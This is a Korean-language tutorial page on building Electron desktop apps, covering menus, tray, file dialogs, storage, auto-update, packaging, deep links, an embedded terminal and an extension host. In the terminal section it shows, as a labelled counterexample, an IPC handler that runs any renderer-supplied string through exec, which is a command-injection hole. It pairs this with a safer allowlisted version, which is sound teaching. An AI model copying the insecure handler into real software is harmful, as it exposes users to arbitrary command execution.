});
보안 체크리스트
- ☐
contextIsolation: true·nodeIntegration: false - ☐ CSP 헤더 설정 (인라인 스크립트 차단)
- ☐ 외부 링크는
shell.openExternal로만 - ☐
will-navigate로 예상 밖 이동 차단 - ☐ 원격 콘텐츠를 로드한다면 반드시 HTTPS
- ☐ DB 접속 정보·API 키를 앱에 넣지 않기 — 디컴파일하면 다 보입니다
- ☐
npm audit· Electron 최신 버전 유지 (Chromium 취약점 패치)
여기에 더해 배포된 앱이 공격 도구로 악용되는 것을 막는 Fuses·asar 무결성은 ⚙️ 네이티브 v15 에서 다룹니다.
메뉴 · 트레이 · 단축키
데스크탑 앱다운 느낌을 만드는 요소들입니다.
애플리케이션 메뉴
import { Menu, shell, app } from "electron";
const isMac = process.platform === "darwin";
const template: Electron.MenuItemConstructorOptions[] = [
...(isMac ? [{ role: "appMenu" as const }] : []),
{
label: "파일",
submenu: [
{ label: "새로 만들기", accelerator: "CmdOrCtrl+N",
click: () => mainWindow?.webContents.send("menu:new") },
{ label: "열기…", accelerator: "CmdOrCtrl+O", click: openFile },
{ type: "separator" },
isMac ? { role: "close" } : { role: "quit" },
],
},
{ role: "editMenu" }, // 복사·붙여넣기 (★ 이거 없으면 Cmd+C 가 안 됩니다)
{ role: "viewMenu" },
{
label: "도움말",
submenu: [{ label: "문서 보기",
click: () => shell.openExternal("https://docs.example.com") }],
},
];
Menu.setApplicationMenu(Menu.buildFromTemplate(template));
role: "editMenu" 를 빠뜨리면
macOS 에서 복사·붙여넣기 단축키가 아예 동작하지 않습니다.
메뉴를 커스터마이즈할 때 가장 흔한 실수입니다.
트레이 · 컨텍스트 메뉴 · 단축키
import { Tray, Menu, nativeImage, globalShortcut } from "electron";
// 트레이 (백그라운드 상주 앱에 필수)
const tray = new Tray(nativeImage.createFromPath(iconPath));
tray.setToolTip("내 앱");
tray.setContextMenu(Menu.buildFromTemplate([
{ label: "창 열기", click: () => mainWindow?.show() },
{ label: "동기화", click: sync },
{ type: "separator" },
{ label: "종료", click: () => app.quit() },
]));
tray.on("click", () => mainWindow?.isVisible()
? mainWindow.hide() : mainWindow?.show());
// 전역 단축키 — 앱이 배경에 있어도 동작합니다
app.whenReady().then(() => {
const ok = globalShortcut.register("CmdOrCtrl+Shift+K", () => {
mainWindow?.show();
mainWindow?.webContents.send("shortcut:quickOpen");
});
if (!ok) log.warn("단축키 등록 실패 — 다른 앱이 사용 중");
});
app.on("will-quit", () => globalShortcut.unregisterAll()); // ★ 정리 필수
// 창을 닫아도 트레이에 남기기 (백그라운드 앱 패턴)
let isQuitting = false;
app.on("before-quit", () => { isQuitting = true; });
mainWindow.on("close", (e) => {
if (!isQuitting) {
e.preventDefault();
mainWindow?.hide();
return false;
}
});
Ctrl+Shift+S 등)은 피하는 편이 좋습니다.
파일 · 다이얼로그
사내 도구의 핵심 기능. 엑셀 읽고 결과 저장이 가장 흔한 요구사항입니다.
파일 선택 · 저장
// 열기
ipcMain.handle("dialog:open", async () => {
const { canceled, filePaths } = await dialog.showOpenDialog(mainWindow!, {
title: "데이터 파일 선택",
properties: ["openFile", "multiSelections"],
filters: [
{ name: "스프레드시트", extensions: ["xlsx", "xls", "csv"] },
{ name: "모든 파일", extensions: ["*"] },
],
defaultPath: app.getPath("documents"),
});
return canceled ? [] : filePaths;
});
// 저장
ipcMain.handle("dialog:save", async (_e, defaultName: string) => {
const { canceled, filePath } = await dialog.showSaveDialog(mainWindow!, {
defaultPath: path.join(app.getPath("downloads"), defaultName),
filters: [{ name: "엑셀", extensions: ["xlsx"] }],
});
return canceled ? null : filePath;
});
// 확인 대화상자
const { response } = await dialog.showMessageBox(mainWindow!, {
type: "warning",
buttons: ["취소", "삭제"],
defaultId: 0, cancelId: 0,
message: "정말 삭제하시겠습니까?",
detail: "이 작업은 되돌릴 수 없습니다.",
});
if (response === 1) doDelete();
앱 데이터 위치 · 드래그 앤 드롭
// ★ 설치 폴더에는 쓰지 마세요 — 권한이 없을 수 있습니다
app.getPath("userData"); // 설정·DB (앱 전용, 자동 생성됨)
app.getPath("documents"); // 사용자 문서
app.getPath("downloads");
app.getPath("temp");
app.getPath("logs");
// 예: Windows → C:\Users\이름\AppData\Roaming\내앱\
// macOS → ~/Library/Application Support/내앱/
// 렌더러 — 드래그 앤 드롭
function DropZone() {
return (
<div
onDragOver={(e) => e.preventDefault()}
onDrop={async (e) => {
e.preventDefault();
// Electron 32+ 는 webUtils 로 실제 경로를 얻습니다
const paths = [...e.dataTransfer.files]
.map(f => window.api.getPathForFile(f));
await window.api.processFiles(paths);
}}
>파일을 여기로 끌어다 놓으세요</div>
);
}
// preload
import { webUtils } from "electron";
getPathForFile: (file: File) => webUtils.getPathForFile(file),
utilityProcess·워커로 분리하세요(e11).
데이터 저장
설정은 가볍게, 데이터가 많으면 SQLite.
설정 — electron-store
npm i electron-storeimport Store from "electron-store";
type Config = {
theme: "light" | "dark";
serverUrl: string;
recentFiles: string[];
};
const store = new Store<Config>({
defaults: { theme: "light", serverUrl: "", recentFiles: [] },
schema: { // ★ 검증 스키마
theme: { type: "string", enum: ["light", "dark"] },
serverUrl: { type: "string", format: "uri" },
},
encryptionKey: "obfuscation-only", // ⚠️ 난독화 수준일 뿐입니다
migrations: { // 버전 업 시 데이터 이전
"1.1.0": (s) => s.set("recentFiles", []),
},
});
store.get("theme");
store.set("theme", "dark");
store.onDidChange("theme", (newV) => applyTheme(newV));
encryptionKey 는 진짜 암호화가 아닙니다.
키가 앱 안에 들어 있으므로 마음먹으면 풀 수 있습니다.
비밀번호·토큰은 OS 키체인(Electron 내장 safeStorage)에 저장하세요
(keytar 는 개발이 중단되어 권장하지 않습니다).
// OS 수준 암호화 (Electron 내장)
import { safeStorage } from "electron";
if (safeStorage.isEncryptionAvailable()) {
const enc = safeStorage.encryptString(token);
store.set("token", enc.toString("base64"));
// 복호화
const dec = safeStorage.decryptString(Buffer.from(store.get("token"), "base64"));
}
데이터가 많으면 SQLite
npm i better-sqlite3 (동기 API — Electron 에 잘 맞습니다)import Database from "better-sqlite3";
import path from "node:path";
const db = new Database(path.join(app.getPath("userData"), "app.db"));
db.pragma("journal_mode = WAL"); // ★ 동시 읽기 성능
db.exec(`
CREATE TABLE IF NOT EXISTS records (
id INTEGER PRIMARY KEY AUTOINCREMENT,
name TEXT NOT NULL,
amount INTEGER NOT NULL,
created_at TEXT DEFAULT CURRENT_TIMESTAMP
);
CREATE INDEX IF NOT EXISTS idx_created ON records(created_at);
`);
// 준비된 문장 — 반복 실행이 빠릅니다
const insert = db.prepare("INSERT INTO records (name, amount) VALUES (?, ?)");
const findAll = db.prepare("SELECT * FROM records ORDER BY id DESC LIMIT ?");
// 대량 삽입은 트랜잭션으로 (수십 배 빨라집니다)
const insertMany = db.transaction((rows: Row[]) => {
for (const r of rows) insert.run(r.name, r.amount);
});
insertMany(rows);
라이브러리 없이 — 내장 node:sqlite
// Electron 42 는 Node 24.15 를 내장하므로 SQLite 가 런타임에 이미 있습니다.
// 의존성도, 네이티브 재빌드(electron-rebuild)도 필요 없습니다 —
// Electron 을 올릴 때마다 better-sqlite3 를 다시 빌드하던 고생이 사라집니다.
import { DatabaseSync } from "node:sqlite";
import path from "node:path";
const db = new DatabaseSync(path.join(app.getPath("userData"), "app.db"));
db.exec("PRAGMA journal_mode = WAL");
db.prepare("INSERT INTO records (name, amount) VALUES (?, ?)").run(name, amount);
db.prepare("SELECT * FROM records ORDER BY id DESC LIMIT ?").all(50);
better-sqlite3 가 여전히 나은 경우는 —
사용자 정의 함수(db.function())·집계 함수·확장 로딩,
세밀한 성능 옵션, 온라인 백업 API 가 필요할 때입니다.
user_version pragma 로 버전을 관리하고
단계별 업그레이드 스크립트를 두는 것이 정석입니다.
창 관리 · 다중 창
창이 늘어나면 메모리와 상태 공유를 함께 생각해야 합니다.
창 여러 개 다루기
const windows = new Map<string, BrowserWindow>();
function openDetailWindow(id: string) {
const existing = windows.get(id);
if (existing) { existing.focus(); return existing; } // ★ 중복 방지
const win = new BrowserWindow({
width: 800, height: 600,
parent: mainWindow!, // 부모 지정 (항상 위에 뜸)
modal: false,
webPreferences: { preload, contextIsolation: true, nodeIntegration: false },
});
win.loadURL(`${baseUrl}#/detail/${id}`);
win.on("closed", () => windows.delete(id)); // ★ 정리
windows.set(id, win);
return win;
}
// 모든 창에 브로드캐스트
function broadcast(channel: string, payload: unknown) {
for (const w of BrowserWindow.getAllWindows()) {
w.webContents.send(channel, payload);
}
}
창 간 상태 공유
// ★ 상태의 원본은 "메인 프로세스"에 두세요
class AppState {
private data: State = initialState;
update(patch: Partial<State>) {
this.data = { ...this.data, ...patch };
broadcast("state:changed", this.data); // 모든 창에 알림
}
get() { return this.data; }
}
ipcMain.handle("state:get", () => appState.get());
ipcMain.handle("state:update", (_e, patch) => appState.update(patch));
// 렌더러 — 훅으로 감싸면 편합니다
function useAppState() {
const [state, setState] = useState<State | null>(null);
useEffect(() => {
window.api.getState().then(setState);
return window.api.onStateChanged(setState); // 구독 + 해제
}, []);
return [state, window.api.updateState] as const;
}
그 밖의 창 기능
win.setAlwaysOnTop(true, "floating"); // 항상 위
win.setFullScreen(true);
win.flashFrame(true); // 작업 표시줄 깜빡임 (알림)
win.setProgressBar(0.5); // ★ 독·작업표시줄 진행률
win.setOverlayIcon(icon, "3개 알림"); // Windows 배지
// 프레임 없는 창 (커스텀 타이틀바)
new BrowserWindow({ frame: false, titleBarStyle: "hidden",
titleBarOverlay: { color: "#0b0f1a", symbolColor: "#fff" } });
자동 업데이트
데스크탑 앱의 가장 큰 운영 과제입니다. 없으면 구버전이 영원히 남습니다.
electron-updater
npm i electron-updaterimport { autoUpdater } from "electron-updater";
import log from "electron-log";
autoUpdater.logger = log;
autoUpdater.autoDownload = false; // ★ 사용자에게 먼저 묻기
app.whenReady().then(() => {
autoUpdater.checkForUpdates();
setInterval(() => autoUpdater.checkForUpdates(), 4 * 60 * 60 * 1000); // 4시간
});
autoUpdater.on("update-available", async (info) => {
const { response } = await dialog.showMessageBox({
type: "info",
buttons: ["나중에", "지금 받기"],
message: `새 버전 ${info.version} 이 있습니다`,
detail: info.releaseNotes?.toString().slice(0, 500),
});
if (response === 1) autoUpdater.downloadUpdate();
});
autoUpdater.on("download-progress", (p) =>
mainWindow?.setProgressBar(p.percent / 100));
autoUpdater.on("update-downloaded", async () => {
const { response } = await dialog.showMessageBox({
buttons: ["나중에", "지금 재시작"],
message: "업데이트 준비 완료",
});
if (response === 1) autoUpdater.quitAndInstall();
});
autoUpdater.on("error", (e) => log.error("업데이트 실패", e));
배포 채널 설정
# electron-builder.yml
publish:
provider: github # 또는 s3 · generic(사내 서버)
owner: my-org
repo: my-app
# 사내 서버를 쓴다면
publish:
provider: generic
url: https://updates.company.internal/my-app/
업데이트 서버에 올라가는 파일
latest.yml 버전 정보 · 파일 해시 (Windows)
latest-mac.yml macOS
my-app-1.2.0.exe 설치 파일
my-app-1.2.0.exe.blockmap ★ 차등 다운로드용
blockmap 이 있으면 "바뀐 부분만" 받아 업데이트가 훨씬 빠릅니다.
· macOS — 서명·공증(notarization)이 필수. 없으면 실행 자체가 차단
인증서 비용(연 10~40만원)을 프로젝트 시작 전에 확보하세요.
패키징 · 설치 파일
exe · dmg · AppImage 를 만듭니다.
electron-builder 설정
# electron-builder.yml
appId: com.company.myapp
productName: 내 업무 도구
copyright: Copyright © 2026 회사
directories:
output: release
buildResources: build
files:
- "dist/**"
- "!**/*.map" # 소스맵 제외 (용량·보안)
- "!node_modules/**/{test,__tests__,*.md}"
asar: true # 소스를 하나로 묶음 (★ 완전한 보호는 아닙니다)
asarUnpack:
- "**/*.node" # 네이티브 모듈은 풀어 둬야 동작
win:
target: [{ target: nsis, arch: [x64] }]
icon: build/icon.ico
nsis:
oneClick: false # 설치 경로를 고를 수 있게
allowToChangeInstallationDirectory: true
createDesktopShortcut: true
shortcutName: 내 업무 도구
mac:
target: [{ target: dmg, arch: [x64, arm64] }]
category: public.app-category.productivity
hardenedRuntime: true # ★ 공증에 필요
entitlements: build/entitlements.mac.plist
linux:
target: [AppImage, deb]
빌드 · 서명
# 빌드
npm run build && npx electron-builder --win --x64
npx electron-builder --mac --arm64 --x64
npx electron-builder -mwl # 전부 (각 OS 에서 실행해야 함)
# ★ 크로스 빌드는 제약이 많습니다
# macOS 앱은 macOS 에서만 서명·공증할 수 있습니다
# → CI(GitHub Actions)에서 OS 별 러너를 쓰는 것이 정석입니다
# .github/workflows/build.yml
jobs:
build:
strategy:
matrix:
os: [windows-latest, macos-latest, ubuntu-latest]
runs-on: ${{ matrix.os }}
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with: { node-version: 24, cache: npm }
- run: npm ci
- run: npm run build
- run: npx electron-builder --publish always
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
CSC_LINK: ${{ secrets.CSC_LINK }} # 인증서
CSC_KEY_PASSWORD: ${{ secrets.CSC_PASSWORD }}
APPLE_ID: ${{ secrets.APPLE_ID }} # 공증
APPLE_APP_SPECIFIC_PASSWORD: ${{ secrets.APPLE_PW }}
npx asar extract app.asar out 한 줄이면 소스가 다 나옵니다.
API 키·DB 접속 정보를 넣지 마세요.
정말 보호가 필요한 로직은 서버에 두고 API 로 호출해야 합니다.
성능 · 메모리
“Electron 은 무겁다”는 말을 덜 듣게 만드는 방법들입니다.
시작 속도
show: false+ready-to-show— 흰 화면 제거(e02)- 렌더러 번들을 작게 — 큰 라이브러리는 지연 로딩
- 메인에서 동기 파일 I/O 금지 — 창 뜨는 시간이 그대로 늘어납니다
- DB·업데이트 확인은 창을 띄운 뒤에
v8 코드 캐시활용 (electron-builder 의electronLanguages정리 포함)
// ❌ 앱 시작을 막는 코드
app.whenReady().then(async () => {
await loadHugeConfig(); // 2초
await checkForUpdates(); // 3초
createWindow(); // ← 5초 뒤에야 창이 뜸
});
// ✅ 창부터 띄우고 나머지는 뒤에서
app.whenReady().then(() => {
createWindow();
setImmediate(async () => {
await loadHugeConfig();
autoUpdater.checkForUpdates();
});
});
메모리 관리
// 프로세스별 메모리 확인
const metrics = app.getAppMetrics();
metrics.forEach(m => log.info(m.type, m.memory.workingSetSize, "KB"));
// 백그라운드 창의 렌더링 억제
win.webContents.setBackgroundThrottling(true); // 기본값 (숨겨지면 타이머 감속)
// 안 쓰는 창은 destroy
win.destroy(); // close 와 달리 즉시 해제
ipcRenderer.on 을 등록만 하고 off 안 함(e03),
② 창을 닫아도 Map 에서 안 지움(e08),
③ setInterval 미정리,
④ 큰 이미지·데이터를 렌더러 상태에 계속 쌓음.
무거운 작업 분리
// ★ 메인 프로세스도 싱글 스레드입니다 — 여기가 막히면 UI 도 멈춥니다
import { utilityProcess } from "electron";
const child = utilityProcess.fork(path.join(__dirname, "heavy-worker.js"));
child.postMessage({ type: "parse", filePath });
child.on("message", (msg) => {
if (msg.type === "progress") mainWindow?.webContents.send("job:progress", msg);
if (msg.type === "done") child.kill();
});
// 또는 Node 의 worker_threads (🟩 Node 탭 n09)
--inspect 로 붙여 프로파일링합니다.
방법이 웹·Node 와 완전히 같습니다(🧬 전문가 d06).
시작 시간을 구간별로 분해해 깎는 방법과 V8 스냅샷은 ⚙️ 네이티브 v14 에서 이어집니다.
딥링크 · 단일 인스턴스 · OS 통합
slack:// · vscode:// 를 눌렀을 때
이미 열려 있는 창이 앞으로 나오는 그 동작입니다.
상용 앱과 “그냥 만든 앱”이 갈리는 첫 번째 지점입니다.
① 프로토콜 등록 + 단일 인스턴스
import { app, BrowserWindow } from 'electron';
import path from 'node:path';
// 1) 내 앱이 myapp:// 를 담당한다고 OS 에 등록
if (process.defaultApp) {
// 개발 중(electron . 로 띄울 때)은 실행 인자까지 함께 등록해야 한다
if (process.argv.length >= 2)
app.setAsDefaultProtocolClient('myapp', process.execPath,
[path.resolve(process.argv[1])]);
} else {
app.setAsDefaultProtocolClient('myapp');
}
// 2) 두 번째 실행을 막는다 — 실패하면 '내가 두 번째'라는 뜻
const primary = app.requestSingleInstanceLock();
if (!primary) {
app.quit(); // 인자는 이미 첫 번째 프로세스로 전달됐다
} else {
app.on('second-instance', (_e, argv) => {
// Windows · Linux: 두 번째 실행의 argv 가 여기로 넘어온다
const url = argv.find(a => a.startsWith('myapp://'));
focusMain();
if (url) route(url);
});
// macOS: argv 가 아니라 open-url 이벤트로 온다
app.on('open-url', (e, url) => { e.preventDefault(); focusMain(); route(url); });
app.whenReady().then(() => {
createWindow();
// Windows · Linux 첫 실행: 시작 인자에 딥링크가 섞여 있다
const url = process.argv.find(a => a.startsWith('myapp://'));
if (url) route(url);
});
}
open-url, Windows·Linux 는 argv 입니다.
세 경로(첫 실행 argv · second-instance argv · open-url)를 모두 처리하지 않으면
“어떤 때는 되고 어떤 때는 안 되는” 버그가 됩니다 —
딥링크 문의의 대부분이 여기서 나옵니다.
② URL 을 화면 이동으로 — 검증이 먼저
function focusMain() {
const win = BrowserWindow.getAllWindows()[0];
if (!win) return createWindow();
if (win.isMinimized()) win.restore();
win.show();
win.focus();
}
// 딥링크는 '외부에서 들어온 입력'이다 — 화이트리스트로 받는다
const ROUTES = {
room: (id: string) => `/rooms/${encodeURIComponent(id)}`,
ticket: (id: string) => `/tickets/${encodeURIComponent(id)}`,
} as const;
function route(raw: string) {
let u: URL;
try { u = new URL(raw); } catch { return; }
if (u.protocol !== 'myapp:') return;
const kind = u.hostname; // myapp://room/42 → 'room'
const id = u.pathname.replace(/^\//, '');
const make = ROUTES[kind as keyof typeof ROUTES];
if (!make) return; // 모르는 경로는 조용히 버린다
BrowserWindow.getAllWindows()[0]
?.webContents.send('deeplink:navigate', make(id));
}
myapp:// 링크를 심어 사용자를 클릭하게 만들 수 있습니다.
URL 을 그대로 loadURL·shell.openPath·exec 에 넘기면 안 됩니다.
위처럼 허용한 경로만 화이트리스트로 매핑하고,
결제·삭제처럼 되돌릴 수 없는 동작은 딥링크로 바로 실행하지 말고 확인 화면을 거치세요.
electron-builder.yml 의
protocols:(name·schemes) 항목을 적어야
설치 시 OS 에 등록됩니다. macOS 는 CFBundleURLTypes 로 들어갑니다.
③ 파일 연결 · 자동 시작 · 최근 항목
// 파일 더블클릭으로 내 앱이 열리게 (.myproj 연결)
// macOS
app.on('open-file', (e, filePath) => { e.preventDefault(); openProject(filePath); });
// Windows · Linux — 경로가 argv 로 들어온다 (딥링크와 같은 통로)
// 로그인 시 자동 시작 — '조용히' 트레이로만 뜨게
app.setLoginItemSettings({
openAtLogin: true,
openAsHidden: true, // macOS
args: ['--hidden'], // Windows 에서 우리가 직접 해석
});
// 최근 파일 (Windows 점프리스트 · macOS 독 메뉴에 자동 반영)
app.addRecentDocument(filePath);
// Windows 작업 표시줄 진행률 · 배지
win.setProgressBar(0.42); // -1 이면 숨김
app.setBadgeCount(3); // macOS · 일부 Linux
openAsHidden/--hidden 으로 창 없이 트레이만 띄우세요.
④ 상용 앱이 실제로 하는 것
slack://channel?team=T1&id=C2
웹에서 누르면 앱이 이미 켜져 있으면 그 창, 없으면 실행 후 이동.
앱이 없으면 웹으로 폴백하는 중간 착지 페이지를 씁니다.vscode://file/C:/x/a.ts:12:5
파일·줄·열까지 실어 보냅니다. 확장이 자기 스킴을 등록할 수 있어
딥링크 자체가 확장 API 입니다.close 를 가로채 hide() 로 바꾸는 패턴입니다.// 닫기 = 종료가 아니라 숨기기 (트레이 상주형 앱의 표준)
let quitting = false;
app.on('before-quit', () => { quitting = true; });
win.on('close', (e) => {
if (quitting) return; // 진짜 종료
e.preventDefault();
win.hide();
if (process.platform === 'darwin') app.dock?.hide();
});
통합 터미널 · 자식 프로세스 붙이기
VS Code 의 터미널 패널을 만드는 부품은 두 개입니다 — node-pty(가짜 터미널)와 xterm.js(화면). 빌드 로그·배포 스크립트를 앱 안에서 돌리는 사내 도구의 핵심 부품이기도 합니다.
왜 spawn 이 아니라 pty 인가
child_process.spawn
- 파이프라 TTY 가 아니다 → 색이 안 나오고 진행바가 깨집니다
npm·docker가 “터미널이 아님”으로 판단해 출력 형식을 바꿉니다- 창 크기 개념이 없어 줄바꿈이 엉킵니다
- 대화형 입력(비밀번호 프롬프트)이 동작하지 않습니다
node-pty
- OS 에게 진짜 터미널을 하나 만들어 달라고 요청합니다
- 색·커서 제어·진행바가 그대로 옵니다
resize(cols, rows)로 창 크기를 알려 줄 수 있습니다- Windows 는 ConPTY, 유닉스는 forkpty 를 씁니다
npm i node-pty @xterm/xterm @xterm/addon-fit
# node-pty 는 네이티브 모듈 → Electron ABI 로 다시 빌드해야 한다
npm i -D @electron/rebuild && npx electron-rebuild
electron-rebuild 를 postinstall 에 걸고,
CI 에서 배포 대상 OS 별로 각각 빌드하세요
(⚙️ 네이티브 · 미디어 탭 07 네이티브 모듈 운영에서 이어집니다).
메인 프로세스 — 세션 관리
import * as pty from 'node-pty';
import { app, ipcMain, BrowserWindow } from 'electron';
import os from 'node:os';
const shell = process.platform === 'win32'
? (process.env.COMSPEC ?? 'powershell.exe')
: (process.env.SHELL ?? '/bin/bash');
const sessions = new Map<string, pty.IPty>();
ipcMain.handle('term:create', (e, { cols, rows, cwd }) => {
const id = crypto.randomUUID();
const p = pty.spawn(shell, [], {
name: 'xterm-color', cols, rows,
cwd: cwd ?? os.homedir(),
env: { ...process.env, TERM: 'xterm-256color' },
});
// ── 흐름 제어: 출력을 모아서 보낸다 ──────────────────
// 빌드 로그는 초당 수천 줄이 나온다. 한 줄마다 IPC 를 태우면
// 렌더러가 먼저 죽는다. 16ms(한 프레임) 단위로 묶어 보낸다.
let buf = '', timer: NodeJS.Timeout | null = null;
const wc = BrowserWindow.fromWebContents(e.sender)!.webContents;
p.onData(chunk => {
buf += chunk;
if (buf.length > 512 * 1024) buf = buf.slice(-512 * 1024); // 폭주 방어
timer ??= setTimeout(() => {
wc.send(`term:data:${id}`, buf); buf = ''; timer = null;
}, 16);
});
p.onExit(({ exitCode }) => {
wc.send(`term:exit:${id}`, exitCode);
sessions.delete(id);
});
sessions.set(id, p);
return id;
});
ipcMain.on('term:input', (_e, id, data) => sessions.get(id)?.write(data));
ipcMain.on('term:resize', (_e, id, cols, rows) => sessions.get(id)?.resize(cols, rows));
ipcMain.on('term:kill', (_e, id) => sessions.get(id)?.kill());
// 창이 닫히면 자식 프로세스도 정리한다 — 안 하면 유령 셸이 남는다
app.on('before-quit', () => { for (const p of sessions.values()) p.kill(); });
npm run build 한 번이 3만 줄을 뱉는 일은 흔합니다.
줄마다 IPC 를 보내면 초당 수천 번의 직렬화가 일어나 UI 가 멈춥니다.
모아 보내기 + 상한(512KB) 두 줄이 터미널 패널의 체감 품질을 결정합니다.
렌더러 — xterm.js 연결
import { Terminal } from '@xterm/xterm';
import { FitAddon } from '@xterm/addon-fit';
import '@xterm/xterm/css/xterm.css';
const term = new Terminal({
fontFamily: 'JetBrains Mono, Consolas, monospace',
fontSize: 13,
scrollback: 5000, // 무제한으로 두면 메모리가 계속 큽니다
theme: { background: '#0b1220' },
});
const fit = new FitAddon();
term.loadAddon(fit);
term.open(document.getElementById('term')!);
fit.fit();
const id = await window.api.term.create({ cols: term.cols, rows: term.rows });
term.onData(d => window.api.term.input(id, d)); // 키 입력 → pty
window.api.term.onData(id, d => term.write(d)); // pty 출력 → 화면
// 창 크기가 바뀌면 pty 에도 알려 줘야 줄바꿈이 안 깨진다
const ro = new ResizeObserver(() => {
fit.fit();
window.api.term.resize(id, term.cols, term.rows);
});
ro.observe(document.getElementById('term')!);
터미널을 열어 준다는 것의 무게
위험 — 문자열을 셸에 통째로
ipcMain.handle('run', (_e, cmd) =>
exec(cmd)); // 렌더러가 시키는 대로 다 한다
안전 — 명령은 메인이 정한다
const TASKS = {
build: ['npm', ['run', 'build']],
deploy: ['node', ['scripts/deploy.js']],
} as const;
const run = promisify(execFile); // node:util
ipcMain.handle('run', async (_e, key: keyof typeof TASKS) => {
const t = TASKS[key];
if (!t) throw new Error('unknown task');
const { stdout } = await run(t[0], [...t[1]], { shell: false });
return stdout; // ★ ChildProcess 객체는 IPC 로 못 넘깁니다 — 결과만 돌려줍니다
});
- 셸을 통하지 않기 —
execFile+shell:false - 작업 목록은 메인에 상수로 — 렌더러는 키만 보냅니다
- 자유 터미널이 꼭 필요하면 기능 자체를 설정으로 잠글 수 있게 두세요
cwd는 앱이 정한 작업 폴더로 고정 — 사용자 입력 경로는 검증
execFile + 로그 뷰로 만들고,
진짜 대화형이 필요할 때만 pty 를 붙이세요.
확장 시스템 — VS Code 가 안 죽는 이유
확장 5만 개가 도는데도 편집기가 멈추지 않는 것은 성능이 아니라 격리 설계 때문입니다. 남의 코드를 내 프로세스 밖에 두는 구조를 그대로 따라 만듭니다.
① 확장 호스트 띄우기
import { utilityProcess, MessageChannelMain } from 'electron';
import path from 'node:path';
let host: Electron.UtilityProcess | null = null;
function startHost() {
const { port1, port2 } = new MessageChannelMain();
host = utilityProcess.fork(path.join(__dirname, 'ext-host.js'), [], {
serviceName: 'extension-host',
// 확장은 앱 권한을 그대로 물려받으면 안 된다 — 환경 변수부터 줄인다
env: { NODE_ENV: process.env.NODE_ENV ?? 'production' },
});
host.postMessage({ type: 'init' }, [port1]); // 포트를 넘겨 직접 통신
wireRenderer(port2);
host.on('exit', (code) => {
log.warn('extension host exited', code);
if (code !== 0) setTimeout(startHost, 1000); // 죽으면 되살린다
});
}
utilityProcess 는 Chromium 이 관리하는 Node 프로세스입니다.
child_process.fork 와 달리
앱이 죽으면 같이 정리되고 MessagePort 를 직접 주고받을 수 있어,
메인을 거치지 않는 렌더러 ↔ 확장 직통 채널을 만들 수 있습니다.
② 매니페스트 + 지연 활성화
{
"name": "csv-preview",
"version": "1.2.0",
"engines": { "myapp": "^3.0.0" },
"main": "./out/index.js",
"activationEvents": [
"onLanguage:csv",
"onCommand:csv.preview"
],
"contributes": {
"commands": [{ "command": "csv.preview", "title": "CSV 미리보기" }],
"menus": { "editor/title": [{ "command": "csv.preview" }] },
"settings": { "csv.delimiter": { "type": "string", "default": "," } }
},
"permissions": ["workspace.read"]
}
require 하면
시작이 3초씩 밀립니다. VS Code 가
“CSV 파일을 열었을 때”처럼 조건을 매니페스트에 선언하게 만든 이유입니다 —
조건이 만족될 때까지 코드를 읽지도 않습니다.
③ 확장에게 주는 API — 좁게, 검사하며
// ext-host.js — 확장이 import 하는 것은 '내가 만든 객체' 하나뿐
function makeApi(manifest: Manifest) {
const can = (p: string) => manifest.permissions?.includes(p) ?? false;
return Object.freeze({
commands: {
register(id: string, fn: () => void) {
if (!id.startsWith(manifest.name + '.')) // 남의 이름표 도용 금지
throw new Error('command id must be prefixed');
registry.set(id, guard(manifest, fn));
},
},
workspace: {
readFile: (p: string) => {
if (!can('workspace.read')) throw new Error('permission denied');
return rpc('workspace.readFile', p); // 실제 IO 는 메인이 한다
},
},
window: { showMessage: (m: string) => rpc('window.showMessage', m) },
});
}
// 오래 잡아먹는 확장은 표시해 둔다 (VS Code 의 '확장 성능' 화면과 같은 원리)
function guard(m: Manifest, fn: Function) {
return async (...a: unknown[]) => {
const t = performance.now();
try { return await fn(...a); }
finally {
const ms = performance.now() - t;
if (ms > 100) telemetry.slowExtension(m.name, ms);
}
};
}
④ 설계할 때 미리 정해 둘 것
- API 는 한 번 공개하면 못 지웁니다. 처음엔 다섯 개로 시작하세요 — 늘리는 건 쉽고 줄이는 건 불가능합니다
- 버전 범위를 매니페스트에 강제(
engines) — 안 맞으면 로드 거부하고 이유를 보여 줍니다 - 확장 전용 저장소를 주세요(
ctx.storagePath). 아니면 남의 설정 파일을 건드립니다 - UI 는 직접 그리게 하지 마세요. DOM 접근을 열면 격리가 무의미해집니다 — 선언(메뉴·명령·뷰 타입)만 받고 그리는 것은 앱이 합니다
- 느린 확장·죽은 확장 목록을 사용자에게 보여 주세요. “앱이 느리다”의 원인을 사용자가 스스로 찾습니다
창 상태 · 세션 복원
껐다 켰을 때 어제 그 자리, 그 문서가 그대로 있는 것 — 기능 목록에는 안 적히지만 “완성도”라고 부르는 것의 절반입니다.
창 위치 복원 — 모니터 검증이 핵심
import { screen, BrowserWindow } from 'electron';
import Store from 'electron-store';
const store = new Store<{ win: Rect & { max: boolean } }>();
function restoreBounds() {
const s = store.get('win');
const def = { width: 1280, height: 800 };
if (!s) return def;
// ★ 저장된 좌표가 '지금도 존재하는 화면' 안인지 확인한다.
// 노트북에서 외부 모니터를 빼면 창이 화면 밖에 놓여 영영 안 보인다.
const visible = screen.getAllDisplays().some(d => {
const w = d.workArea;
return s.x >= w.x - 40 && s.y >= w.y - 40 &&
s.x + 80 <= w.x + w.width && s.y + 40 <= w.y + w.height;
});
return visible ? s : def; // 안 보이면 기본 위치로
}
const win = new BrowserWindow({ ...restoreBounds(), show: false });
if (store.get('win')?.max) win.maximize();
win.once('ready-to-show', () => win.show()); // 흰 화면 깜빡임 방지
// 저장은 몰아서 — resize 이벤트는 드래그 중 초당 수십 번 옵니다
let t: NodeJS.Timeout;
const save = () => {
clearTimeout(t);
t = setTimeout(() => {
if (win.isDestroyed()) return;
store.set('win', { ...win.getNormalBounds(), max: win.isMaximized() });
}, 400);
};
win.on('resize', save);
win.on('move', save);
// ★ 닫을 때는 즉시 — 400ms 뒤에는 창이 이미 없어서 위의 save 로는 저장되지 않습니다
win.on('close', () => {
clearTimeout(t);
store.set('win', { ...win.getNormalBounds(), max: win.isMaximized() });
});
getBounds() 가 아니라 getNormalBounds() 입니다.
최대화 상태에서 getBounds() 를 저장하면
“복원”을 눌렀을 때 크기가 화면 전체가 되어 원래 크기를 영영 잃습니다.
모니터 해제 검증과 함께, 버그 리포트가 가장 많이 오는 두 지점입니다.
세션 복원 — 무엇을 되살릴 것인가
